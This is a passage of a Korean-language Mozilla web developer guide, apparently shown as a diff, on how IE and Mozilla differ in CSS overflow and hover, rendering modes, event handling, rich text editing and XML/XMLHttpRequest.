+<p>이러한 방식으로 모든 CSS 속성에 접근할 수 있다. 만약 웹페이지가 strict 모드라면 단위를 지정해야 하며, 그렇지 않을 시 Mozilla는 해당 명령을 무시한다. Mozilla와 IE에서 <code>.style.width</code>를 통해 값을 얻으면 반환된 값은 단위를 포함하며, 이는 문자열이 반환됨을 의미한다. 이 문자열은 <code>parseFloat("40px")</code>을 통해 숫자로 변환할 수 있다.</p>
+<h4 id="CSS_.EC.98.A4.EB.B2.84.ED.94.8C.EB.A1.9C.EC.9A.B0_.EC.B0.A8.EC.9D.B4" name="CSS_.EC.98.A4.EB.B2.84.ED.94.8C.EB.A1.9C.EC.9A.B0_.EC.B0.A8.EC.9D.B4">CSS 오버플로우 차이</h4>
+<p>CSS는 오버플로우에 대한 표기를 추가했는데 이것은 오버플로우를 어떻게 처리할 것인가를 정의할 수 있게 해준다. 예를들어 그 높이보다 더 긴 컨텐츠를 갖는 <code>div</code>와 같은 경우이다. CSS 표준에서는 이경우에 오버플로우 속성이 지정되지 않았다면 <code>div</code> 컨텐츠는 오버플로우 된다고 정의한다. 그러나, IE는 이를 지키지 않고 컨텐츠를 담을 수 있을 만큼 <code>div</code>의 높이를 확장한다. 아래는 이 차이를 보여주는 예제다.</p>
+<pre>&lt;div style="height: 100px; border: 1px solid black;"&gt;
+  &lt;div style="height: 150px; border: 1px solid red; margin: 10px;"&gt;
+    a
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+<p>그림 4에서 볼 수 있듯이, Mozilla는 W3C 표준이 정의한대로 행동한다. W3C 표준에서 이경우에, 안쪽 <code>div</code>는 그 부모보다 높이가 크므로 bottom에서 오버플로우된다고 되어 있다. 만약 IE 쪽의 행동이 더 마음에 든다면, 단순히 바깥쪽 엘리먼트의 높이를 지정하지 않으면 된다.</p>
+<p>그림 4. DIV overflow</p>
+<p><img alt="DIV Overflow" class="internal" src="/@api/deki/files/2075/=Migrationguide-overflow.jpg"></p>
+<h4 id="hover_.EC.B0.A8.EC.9D.B4" name="hover_.EC.B0.A8.EC.9D.B4">hover 차이</h4>
+<p>IE에서의 비표준 CSS hover 작동이 소수의 웹사이트에서 일어난다. Mozilla에서는 보통 텍스트 위에 hover되었을때 그 텍스트 스타일을 변경하므로써 그 자체를 명확히하지만, IE에서는 그렇지 않다. 이것은 IE에서는 <code>a:hover</code>에 대한 CSS 셀렉터가 <code>&lt;a name=""&gt;...&lt;/a&gt;</code>가 아닌 <code>&lt;a href=""&gt;...&lt;/a&gt;</code>에 매치되기 때문이다. 다음의 텍스트는 그 영역을 앵커 태그로 감쌌기 때문에 변화가 일어날 것이다:</p>
+<pre>CSS:
+  a:hover {color: green;}
+
+HTML:
+  &lt;a href="foo.com"&gt;This text should turn green when you hover over it.&lt;/a&gt;
+
+  &lt;a name="anchor-name"&gt;
+    This text should change color when hovered over, but doesn't
+    in Internet Explorer.
+  &lt;/a&gt;
+</pre>
+<p>Mozilla는 CSS 스펙을 정확하게 따르며 이 예제에서 색깔은 녹색으로 바뀔것이다. Mozilla가 IE처럼 행동하게 하여 hover 오버시 텍스트 색이 바뀌지 않게 하는 법은 두가지 방법이 있다:</p>
+<ul>
+ <li>첫번째, CSS 룰을 <code>a:link:hover {color: green;}</code>로 바꾸면 엘리먼트가 링크일때만(<code>href</code> 속성을 가질때만) 색깔을 바꾼다.</li>
+ <li>아니면, 텍스트 앞에서 열린 <code>&lt;a /&gt;</code>태그를 닫는다. -- 이렇게 해도 앵커는 계속 작동할 것이다.</li>
+</ul>
+<h3 id=".EC.BF.BC.ED.81.AC_vs._.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C" name=".EC.BF.BC.ED.81.AC_vs._.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C">쿼크 vs. 표준 모드</h3>
+<p>IE 4와 같은 오래된 구식 브라우저에서는 특정 상황하에서 일명 쿼크라 불리는 모드로 렌더링 된다. Mozilla는 표준 적용을 지향하는 브라우저인 반면에, 이러한 쿼크 모드로 만들어진 오래된 웹페이지를 지원하는 세가지 모드를 가진다. 페이지의 컨텐츠와 전송이 Mozilla가 어느 모드를 사용할 것인지를 결정한다. Mozilla는 보기 -&gt; 페이지 정보 (혹은 <code>Ctrl+I</code>)에서 렌더링 모드를 볼 수 있다. 파이어 폭스는 도구 -&gt; 페이지 정보에서 렌더링 모드를 표시한다. 페이지가 어느 모드로 될 것인지는 doctype에 따라 결정된다.</p>
+<p>Doctypes (간략한 문서 타입 선언)은 다음과 같은 형식이다:</p>
+<p><code>&lt;!DOCTYPE HTML PUBLIC <span style="color: blue;">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span style="color: green;">"<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"</span>&gt;</code></p>
+<p>파란 부분이 퍼블릭 식별자이고 녹색 부분이 시스템 식별자인데, URI로 되어 있다.</p>
+<h4 id=".ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C" name=".ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C">표준 모드</h4>
+<p>표준 모드는 가장 엄격한 렌더링 모드이다. 이것은 W3C의 HTML 스펙과 CSS 스펙으로 페이지를 렌더링 하며 어떠한 쿼크도 지원하지 않는다. Mozilla는 다음 조건에 대해 표준 모드를 사용한다:</p>
+<ul>
+ <li>페이지가 <code>text/xml</code> 마임타입이나 다른 XML 혹은 XHTML 마임타입으로 보내졌을때</li>
+ <li>IBM doctype을 제외한 모든 "DOCTYPE HTML SYSTEM" doctype에 대해 (예를 들면, <code>&lt;!DOCTYPE HTML SYSTEM "<span class="nowiki">http://www.w3.org/TR/REC-html40/strict.dtd</span>"&gt;</code>)</li>
+ <li>알려지지 않은 doctype이나 DTD가 없는 doctype의 경우</li>
+</ul>
+<h4 id=".EB.B0.98.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C" name=".EB.B0.98.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C">반표준 모드</h4>
+<p>Mozilla는 한가지 이유때문에 반표준 모드를 도입했다: CSS 2 스펙의 한부분이 테이블 셀에 있는 작은 이미지들의 정확한 레이아웃을 기반한 디자인을 깬다는 것이다. 사용자에게 하나의 이미지로 보여지지 않고 각각의 작은 이미지 사이에 틈이 생긴다. 그림 5에서 볼 수 있듯이 예전 IBM 사이트에서 그 예를 찾을 수 있다.</p>
+<p>그림 5. 이미지 간격</p>
+<p><img alt="이미지 간격" class="internal" src="/@api/deki/files/2072/=Migrationguide-imagegap.jpg"></p>
+<p>반표준 모드는 이미지 갭 문제를 제외하고는 표준 모드와 거의 일치하는데, 이 문제는 표준 적용 페이지에서 종종 발생하며 페이지를 부정확하게 보여지게 만든다.</p>
+<p>Mozilla는 다음의 경우에 반표준 모드를 사용한다:</p>
+<ul>
+ <li>모든 "loose" doctype (예를 들면, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"&gt;</code>, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"&gt;</code>)</li>
+ <li>IBM doctype (<code>&lt;!DOCTYPE html SYSTEM "<span class="nowiki">http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd</span>"&gt;</code>)</li>
+</ul>
+<p><a href="/ko/Images,_Tables,_and_Mysterious_Gaps" title="ko/Images,_Tables,_and_Mysterious_Gaps">image gap issue</a>에서 더 많은 정보를 얻을 수 있다.</p>
+<h4 id=".EC.BF.BC.ED.81.AC_.EB.AA.A8.EB.93.9C" name=".EC.BF.BC.ED.81.AC_.EB.AA.A8.EB.93.9C">쿼크 모드</h4>
+<p>현재 웹은 브라우저에서 버그에 의해서만 작동하는 마크업들 뿐만 아닌, 유효하지 않은 HTML 마크업들로 가득 차 있다. 예전의 넷스케이프 브라우저는 넷스케이프가 시장의 선두주자였을때도 버그를 가지고 있었다. IE가 나왔을때 그것은 그시절의 컨텐츠들을 작동시키기 위해 그러한 버그들을 흉내내었다. 새로운 브라우저들이 시장으로 나옴에 따라 대부분의 원래 버그들(보통 쿼크라 부름)은 하위 버전 호환성을 위해 내버려 두었다. Mozilla는 쿼크 렌더링 모드에서 이러한것들의 많은 부분을 지원한다. 주의할 점은 이러한 쿼크들 때문에 페이지는 완전히 표준 적용모드일때보다 느리게 렌더링 될 것이라는 점이다. 대부분의 웹페이지는 이 모드에서 렌더링 된다.</p>
+<p>Mozilla는 다음 조건에서 쿼크 모드를 사용한다:</p>
+<ul>
+ <li>doctype이 명시되지 않았을때</li>
+ <li>시스템 식별자가 없는 doctype (예를 들면, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;</code>)</li>
+</ul>
+<p>더 자세한 사항은 다음을 참고하라: <a href="/ko/Mozilla_Quirks_Mode_Behavior" title="ko/Mozilla_Quirks_Mode_Behavior">Mozilla Quirks Mode Behavior</a>, <a href="/ko/Mozilla's_DOCTYPE_sniffing" title="ko/Mozilla's_DOCTYPE_sniffing">Mozilla's DOCTYPE sniffing</a>.</p>
+<h3 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.B0.A8.EC.9D.B4" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.B0.A8.EC.9D.B4">이벤트 차이</h3>
+<p>Mozilla와 IE는 이벤트의 영역에서 거의 완전히 다르다. Mozilla의 이벤트 모델은 W3C와 넷스케이프 모델을 따른다. IE는 이벤트로부터 함수가 불려지면 이 함수는 <code>window.event</code>를 통해 <code>event</code> 오브젝트에 접근할 수 있다. Mozilla는 <code>event</code> 오브젝트를 이벤트 핸들러로 전달한다. Mozilla에서는 반드시 인수를 통해 불려진 함수로 오브젝트를 명시적으로 전달해야 한다. 크로스 브라우저 이벤트 핸들링 예제는 다음(코드 상에 <code>event</code>로 이름지어진 전역 변수를 정의할 수 없음을 유의)과 같다:</p>
+<pre>&lt;div onclick="handleEvent(event);"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(aEvent) {
+    var myEvent = window.event ? window.event : aEvent;
+  }
+&lt;/script&gt;
+</pre>
+<p>Mozilla와 IE에는 이벤트 오브젝트가 드러내는 속성과 함수도 종종 다르게 이름 지어졌는데 표4에 나와있는 것과 같다.</p>
+<table class="standard-table">
+ <caption>
+  표 4. Event properties differences between Mozilla and Internet Explorer</caption>
+ <tbody>
+  <tr>
+   <th>Internet Explorer Name</th>
+   <th>Mozilla Name</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>altKey</td>
+   <td>altKey</td>
+   <td>Boolean property that returns whether the alt key was pressed during the event.</td>
+  </tr>
+  <tr>
+   <td>cancelBubble</td>
+   <td>stopPropagation()</td>
+   <td>Used to stop the event from bubbling farther up the tree.</td>
+  </tr>
+  <tr>
+   <td>clientX</td>
+   <td>clientX</td>
+   <td>The X coordinate of the event, in relation to the element viewport.</td>
+  </tr>
+  <tr>
+   <td>clientY</td>
+   <td>clientY</td>
+   <td>The Y coordinate of the event, in relation to the element viewport.</td>
+  </tr>
+  <tr>
+   <td>ctrlKey</td>
+   <td>ctrlKey</td>
+   <td>Boolean property that returns whether the Ctrl key was pressed during the event.</td>
+  </tr>
+  <tr>
+   <td>fromElement</td>
+   <td>relatedTarget</td>
+   <td>For mouse events, this is the element from which the mouse moved away.</td>
+  </tr>
+  <tr>
+   <td>keyCode</td>
+   <td>keyCode</td>
+   <td>For keyboard events, this is a number representing the key that was pressed. It is 0 for mouse events. For keypress events (not keydown/keyup) of keys that produce output, the Mozilla equivalent is charCode, not keyCode.</td>
+  </tr>
+  <tr>
+   <td>returnValue</td>
+   <td>preventDefault()</td>
+   <td>Used to prevent the event's default action from occurring.</td>
+  </tr>
+  <tr>
+   <td>screenX</td>
+   <td>screenX</td>
+   <td>The X coordinate of the event, in relation to the screen.</td>
+  </tr>
+  <tr>
+   <td>screenY</td>
+   <td>screenY</td>
+   <td>The Y coordinate of the event, in relation to the screen.</td>
+  </tr>
+  <tr>
+   <td>shiftKey</td>
+   <td>shiftKey</td>
+   <td>Boolean property that returns whether the Shift key was pressed during the event.</td>
+  </tr>
+  <tr>
+   <td>srcElement</td>
+   <td>target</td>
+   <td>The element to which the event was originally dispatched.</td>
+  </tr>
+  <tr>
+   <td>toElement</td>
+   <td>currentTarget</td>
+   <td>For mouse events, this is the element to which the mouse moved.</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>type</td>
+   <td>Returns the name of the event.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.ED.95.B8.EB.93.A4.EB.9F.AC_.EB.93.B1.EB.A1.9D" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.ED.95.B8.EB.93.A4.EB.9F.AC_.EB.93.B1.EB.A1.9D">이벤트 핸들러 등록</h4>
+<p>Mozilla는 자바스크립트를 통해 이벤트를 등록하는 두가지 방법을 지원한다. 첫번째는 모든 브라우저에서 지원되는 오브젝트에 직접적으로 이벤트 속성을 지정하는 방법이다. <code>click</code> 이벤트 핸들러를 지정하기 위해 함수 레퍼런스가 오브젝트의 <code>onclick</code> 속성에 전달된다:</p>
+<pre>&lt;div id="myDiv"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(aEvent) {
+    // if aEvent is null, means the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad(){
+    document.getElementById("myDiv").onclick = handleEvent;
+  }
+&lt;/script&gt;
+</pre>
+<p>Mozilla는 DOM 노드에 리스너를 등록하는 W3C의 표준 방법을 전적으로 지원한다. <code>addEventListener()</code> 와 <code>removeEventListener()</code> 메소드를 사용하면 동일한 이벤트 타입에 대해 여러 리스너를 지정할 수 있는 장점이 있다. 두 메소드는 세가지 파라미터를 필요로 한다 : 이벤트 타입, 함수 레퍼런스, 리스너가 캡쳐 구간에서 이벤트를 잡을 것인지에 대한 불린(boolean)값. 불린 값이 false로 지정되면, 버블링 이벤트만을 잡아낸다. W3C 이벤트는 capturing, at target, bubbling 세가지 단계을 가진다. 모든 이벤트 오브젝트는 단계를 숫자(0 인덱스)로 표시하는 <code>eventPhase</code> 속성을 가진다. 이벤트가 발생할 때 마다 이벤트는 DOM의 가장 바깥 엘리먼트, DOM 트리의 가장 상위 엘리먼트에서 출발한다. 그리고는 타겟을 향하여 가장 직접적인 경로를 사용하여 DOM을 타고 들어가는데 이것이 capturing 단계이다. 이벤트가 타겟에 도착하면 이벤트는 target 단계에 있는 것이다. 타겟에 도착한 후 이벤트는 다시 DOM 트리의 가장 바깥쪽으로 빠져 나가는데 이것이 <strong>bubbling</strong> 이다. IE의 이벤트 모델은 bubbling 단계만을 갖고 있기 때문에 IE의 동작과 같은 결과를 내려면 세번째 파라미터를 false로 지정해야 한다:</p>
+<pre>&lt;div id="myDiv"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+
+  function handleEvent(aEvent) {
+    // if aEvent is null, it is the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad() {
+    var element = document.getElementById("myDiv");
+    element.addEventListener("click", handleEvent, false);
+  }
+&lt;/script&gt;
+</pre>
+<p>속성 지정보다 <code>addEventListener()</code> 와 <code>removeEventListener()</code>를 사용하는 것의 장점 중 하나는 동일한 이벤트에 대해 각각 다른 함수를 호출하는 여러 이벤트 리스너를 가질 수 있다는 것이다. 그러므로 이벤트 리스너를 삭제하기 위해서는 추가할 때와 동일한 세개의 파라미터가 필요하다.</p>
+<p>Mozilla는 IE의 &lt;script&gt; 태그를 이벤트 핸들러로 변환하는 메소드를 지원하지 않는데, 이것은 &lt;script&gt;를 <code>for</code>와 <code>event</code> 속성으로 확장한다. (표 5.) Mozilla는 <code>attachEvent</code>와 <code>detachEvent</code> 메소드도 지원하지 않는다. 대신에 <code>addEventListener</code>와 <code>removeEventListener</code> 메소드를 써야 한다. IE는 W3C 이벤트 스펙을 지원하지 않는다.</p>
+<table class="standard-table">
+ <caption>
+  표 5. Event method differences between Mozilla and Internet Explorer</caption>
+ <tbody>
+  <tr>
+   <th>Internet Explorer Method</th>
+   <th>Mozilla Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>attachEvent(aEventType, aFunctionReference)</td>
+   <td>addEventListener(aEventType, aFunctionReference, aUseCapture)</td>
+   <td>Adds an event listener to a DOM element.</td>
+  </tr>
+  <tr>
+   <td>detachEvent(aEventType, aFunctionReference)</td>
+   <td>removeEventListener(aEventType, aFunctionReference, aUseCapture)</td>
+   <td>Removes an event listener to a DOM element.</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id=".EB.A6.AC.EC.B9.98_.ED.85.8D.EC.8A.A4.ED.8A.B8_.ED.8E.B8.EC.A7.91" name=".EB.A6.AC.EC.B9.98_.ED.85.8D.EC.8A.A4.ED.8A.B8_.ED.8E.B8.EC.A7.91">리치 텍스트 편집</h3>
+<p>Mozilla가 W3C 표준을 가장 잘 적용한 브라우저라는 것을 자랑스러워하기는 하지만, W3C에 대응되는 표준이 없을 시 Mozilla는 <code>innerHTML</code>이나 <a href="/ko/Midas" title="ko/Midas">rich text editing</a> 같은 비표준 기능도 지원한다.</p>
+<p>Mozilla 1.3은 IE의 <a href="/ko/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode" title="ko/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode">designMode</a> 기능 구현을 도입했는데 이것은 HTML 문서를 리치 텍스트 에디터 필드로 바꾼다. 일단 에디터로 바뀌고나면 명령들은 <code>execCommand</code> 명령을 통해 문서상에서 실행될 수 있다. Mozilla는 어떤 위젯이라도 편집가능하게 만드는 IE의 <code>contentEditable</code> 속성을 지원하지 않는다. 리치 텍스트 에디터를 추가하려면 iframe을 사용할 수 있다.</p>
+<h4 id=".EB.A6.AC.EC.B9.98_.ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.B0.A8.EC.9D.B4" name=".EB.A6.AC.EC.B9.98_.ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.B0.A8.EC.9D.B4">리치 텍스트 차이</h4>
+<p>Mozilla는 <code>IFrameElmRef.contentDocument</code>를 통해 iframe의 문서 오브젝트를 접근하는 W3C의 표준을 지원한다. 반면에 IE는 <code>document.frames{{ mediawiki.external('\"IframeName\"') }}</code>를 통해 접근할 수 있고, 그 후 결과 <code>document</code>에 접근할 수 있다:</p>
+<pre>&lt;script&gt;
+function getIFrameDocument(aID) {
+  var rv = null;
+
+  // if contentDocument exists, W3C compliant (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    rv = document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    rv = document.frames[aID].document;
+  }
+  return rv;
+}
+&lt;/script&gt;
+</pre>
+<p>Mozilla와 IE간의 또 다른 차이점은 리치 텍스트 에디터가 만들어내는 HTML이다. Mozilla는 기본적으로 생성된 마크업에 CSS를 사용하게 한다. 그러나 Mozilla는 <code>useCSS</code> execCommand를 사용하여 HTML과 CSS사이를 전환할 수 있게 한다. IE는 항상 HTML 마크업을 사용한다.</p>
+<pre>Mozilla (CSS):
+  &lt;span style="color: blue;"&gt;Big Blue&lt;/span&gt;
+
+Mozilla (HTML):
+  &lt;font color="blue"&gt;Big Blue&lt;/font&gt;
+
+Internet Explorer:
+  &lt;FONT color="blue"&gt;Big Blue&lt;/FONT&gt;
+</pre>
+<p>아래는 Mozilla에서의 execCommand가 지원하는 명령 리스트이다:</p>
+<table class="standard-table">
+ <caption>
+  표 6. Rich text editing commands</caption>
+ <tbody>
+  <tr>
+   <th>Command Name</th>
+   <th>Description</th>
+   <th>Argument</th>
+  </tr>
+  <tr>
+   <td>bold</td>
+   <td>Toggles the selection's bold attribute.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>createlink</td>
+   <td>Generates an HTML link from the selected text.</td>
+   <td>The URL to use for the link</td>
+  </tr>
+  <tr>
+   <td>delete</td>
+   <td>Deletes the selection.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>fontname</td>
+   <td>Changes the font used in the selected text.</td>
+   <td>The font name to use (Arial, for example)</td>
+  </tr>
+  <tr>
+   <td>fontsize</td>
+   <td>Changes the font size used in the selected text.</td>
+   <td>The font size to use</td>
+  </tr>
+  <tr>
+   <td>fontcolor</td>
+   <td>Changes the font color used in the selected text.</td>
+   <td>The color to use</td>
+  </tr>
+  <tr>
+   <td>indent</td>
+   <td>Indents the block where the caret is.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>inserthorizontalrule</td>
+   <td>Inserts an &lt;hr&gt; element at the cursor's position.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>insertimage</td>
+   <td>Inserts an image at the cursor's position.</td>
+   <td>URL of the image to use</td>
+  </tr>
+  <tr>
+   <td>insertorderedlist</td>
+   <td>Inserts an ordered list (&lt;ol&gt;) element at the cursor's position.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>insertunorderedlist</td>
+   <td>Inserts an unordered list (&lt;ul&gt;) element at the cursor's position.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>italic</td>
+   <td>Toggles the selection's italicize attribute.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifycenter</td>
+   <td>Centers the content at the current line.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifyleft</td>
+   <td>Justifies the content at the current line to the left.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifyright</td>
+   <td>Justifies the content at the current line to the right.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>outdent</td>
+   <td>Outdents the block where the caret is.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>redo</td>
+   <td>Redoes the previous undo command.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>removeformat</td>
+   <td>Removes all formatting from the selection.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>selectall</td>
+   <td>Selects everything in the rich text editor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>strikethrough</td>
+   <td>Toggles the strikethrough of the selected text.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>subscript</td>
+   <td>Converts the current selection into subscript.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>superscript</td>
+   <td>Converts the current selection into superscript.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>underline</td>
+   <td>Toggles the underline of the selected text.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>undo</td>
+   <td>Undoes the last executed command.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>unlink</td>
+   <td>Removes all link information from the selection.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>useCSS</td>
+   <td>Toggles the usage of CSS in the generated markup.</td>
+   <td>Boolean value</td>
+  </tr>
+ </tbody>
+</table>
+<p>더 자세한 사항은 다음을 참고하라: <a href="/ko/Rich-Text_Editing_in_Mozilla" title="ko/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a>.</p>
+<h3 id="XML_.EC.B0.A8.EC.9D.B4" name="XML_.EC.B0.A8.EC.9D.B4">XML 차이</h3>
+<p>Mozilla는 XSLT과 웹서비스와 같은 XML과 XML관련 기술에 대해 강력한 지원을 한다. Mozilla는 XMLHttpRequest과 같은 비표준 IE 확장도 지원한다.</p>
+<h4 id="XML.EC.9D.84_.EB.8B.A4.EB.A3.A8.EB.8A.94_.EB.B2.95" name="XML.EC.9D.84_.EB.8B.A4.EB.A3.A8.EB.8A.94_.EB.B2.95">XML을 다루는 법</h4>
+<p>표준 HTML 에서 처럼, Mozilla는 W3C XML DOM 스펙을 지원하며, 이것은 XML 문서의 거의 모든 면을 조작할 수 있게 한다. IE의 XML DOM과 Mozilla의 차이는 보통 IE의 비표준 동작에서 야기된다. 아마도 가장 일반적인 차이점은 공백 텍스트 노드를 어떻게 다루는가 이다. 종종 XML이 생성될 때 XML 노드 사이에 공백이 포함된다. IE는 <code>XMLNode.childNodes[]</code>를 사용할 때 이러한 공백 노드를 포함하지 않는다. 그러나 Mozilla에서는 이 노드들이 배열에 들어간다.</p>
+<pre>XML:
+  &lt;?xml version="1.0"?&gt;
+  &lt;myXMLdoc xmlns:myns="http://myfoo.com"&gt;
+    &lt;myns:foo&gt;bar&lt;/myns:foo&gt;
+  &lt;/myXMLdoc&gt;
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  alert(myXMLDoc.childNodes.length);
+</pre>
+<p>자바스크립트의 첫번째 라인이 XML 문서를 로드하고 <code>documentElement</code>를 탐색하여 루트 앨리먼트 (<code>myXMLDoc</code>)에 접근한다. 두번째 라인은 단순히 자식 노드의 수를 얼럿창에 띄운다. W3C 스펙에 따르면 공백과 줄바꿈은 서로 붙어 있을시 하나의 텍스트 노드로 합쳐진다. Mozilla의 경우에 <code>myXMLdoc</code> 노드는 세개의 자식을 가진다: 줄바꿈과 두개의 스페이스를 가진 텍스트 노드, <code>myns:foo</code>노드, 줄바꿈을 가진 또 하나의 텍스트 노드. 그러나, IE는 이것을 지키지 않고 위의 코드에 대해 1, 즉 <code>myns:foo</code> 노드만을 리턴한다. 그러므로 자식노드를 취하고 텍스트 노드를 버리기 위해, 이러한 노드들을 구별해 내야 한다.</p>
+<p>앞서 언급했던 것처럼 모든 노드는 노드 타입을 가리키는 <code>nodeType</code> 속성을 가진다. 예를 들어, 엘리먼트 노드는 타입 1이고, 도큐먼트 노드는 타입 9이다. 텍스트 노드를 무시하기 위해서는 반드시 타입 3(텍스트 노드)와 8(주석 노드)를 체크해야 한다.</p>
+<pre>XML:
+  &lt;?xml version="1.0"?&gt;
+  &lt;myXMLdoc xmlns:myns="http://myfoo.com"&gt;
+    &lt;myns:foo&gt;bar&lt;/myns:foo&gt;
+  &lt;/myXMLdoc&gt;
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  var myChildren = myXMLDoc.childNodes;
+
+  for (var run = 0; run &lt; myChildren.length; run++){
+    if ( (myChildren[run].nodeType != 3) &amp;&amp;
+          myChildren[run].nodeType != 8) ){
+      // not a text or comment node
+    };
+  };
+</pre>
+<p>더 자세한 사항과 해결방안은 다음을 참고하라: <a href="/ko/Whitespace_in_the_DOM" title="ko/Whitespace_in_the_DOM">Whitespace in the DOM</a></p>
+<h4 id="XML_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.95.84.EC.9D.BC.EB.9E.9C.EB.93.9C" name="XML_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.95.84.EC.9D.BC.EB.9E.9C.EB.93.9C">XML 데이터 아일랜드</h4>
+<p>IE는 <em>XML 데이터 아일랜드</em>라 불리우는 비표준 기능을 가지고 있는데 이것은 비표준 HTML 태그인 <code>&lt;xml&gt;</code> 을 사용하여 HTML 문서내에 XML을 포함할 수 있게 한다. Mozilla는 XML 데이터 아일랜드를 지원하지 않으며 이것을 인식되지 않는 HTML 태그로 취급한다. 같은 기능을 XHTML을 사용하여 이룰 수 있지만, IE의 XHTML 지원은 미약하기 때문에 이것은 보통 추가적인 것은 아니다.</p>
+<p>IE의 XML 데이터 아일랜드:</p>
+<pre class="eval">&lt;xml id="xmldataisland"&gt;
+  &lt;foo&gt;bar&lt;/foo&gt;
+&lt;/xml&gt;
+</pre>
+<p>크로스 브라우징 해결 방법 중의 하나는 DOM 파서를 이용하는 것인데 이것은 직렬화된 XML 문서를 포함한 문자열을 파싱하고 파싱된 XML에 대한 문서를 생성한다. Mozilla는 <code><a href="/ko/DOMParser" title="ko/DOMParser">DOMParser</a></code> 오브젝트를 사용하며, 이는 직렬화된 문자열을 가지고 외부로 XML 문서를 생성한다. IE에서는 같은 기능을 ActiveX를 사용하여 만들수 있다. <code>new ActiveXObject("Microsoft.XMLDOM")</code>를 사용하여 생성한 오브젝트는 문자열을 가지고 문서를 생성하는 <code>loadXML</code> 메소드를 가진다. 다음 코드가 그 방법을 보여준다:</p>
+<pre class="eval"> var xmlString = "&lt;xml id=\"xmldataisland\"&gt;&lt;foo&gt;bar&lt;/foo&gt;&lt;/xml&gt;";
+</pre>
+<pre class="eval"> var myDocument;
+</pre>
+<pre class="eval"> if (document.implementation.createDocument){
+   // Mozilla, create a new DOMParser
+   var parser = new DOMParser();
+   myDocument = parser.parseFromString(xmlString, "text/xml");
+ } else if (window.ActiveXObject){
+   // Internet Explorer, create a new XML document using ActiveX
+   // and use loadXML as a DOM parser.
+   myDocument = new ActiveXObject("Microsoft.XMLDOM");
+   myDocument.async="false";
+   myDocument.loadXML(xmlString);
+ }
+</pre>
+<p>&lt;/pre&gt;</p>
+<p>다른 대안은 다음을 참고하라: <a href="/ko/Using_XML_Data_Islands_in_Mozilla" title="ko/Using_XML_Data_Islands_in_Mozilla">Using XML Data Islands in Mozilla</a></p>
+<h4 id="XML_HTTP_request" name="XML_HTTP_request">XML HTTP request</h4>
+<p>IE는 MSXML의 <code>XMLHTTP</code> 클래스를 사용하여 XML 파일을 보내거나 탐색할 수 있게 하는데, 이것은 <code>new ActiveXObject("Msxml2.XMLHTTP")</code> 또는 <code>new ActiveXObject("Microsoft.XMLHTTP")</code>를 사용한 ActiveX를 통해 인스턴스화 된다. 이러한 것에 대해 표준이 존재하지 않기 때문에, Mozilla는 같은 기능에 대해 전역 자바스크립트 객체인 <code><a href="/ko/XMLHttpRequest" title="ko/XMLHttpRequest">XMLHttpRequest</a></code>에서 이를 제공한다. IE도 역시 버전 7 부터는 원시 <code>XMLHttpRequest</code> 오브젝트를 지원한다.</p>
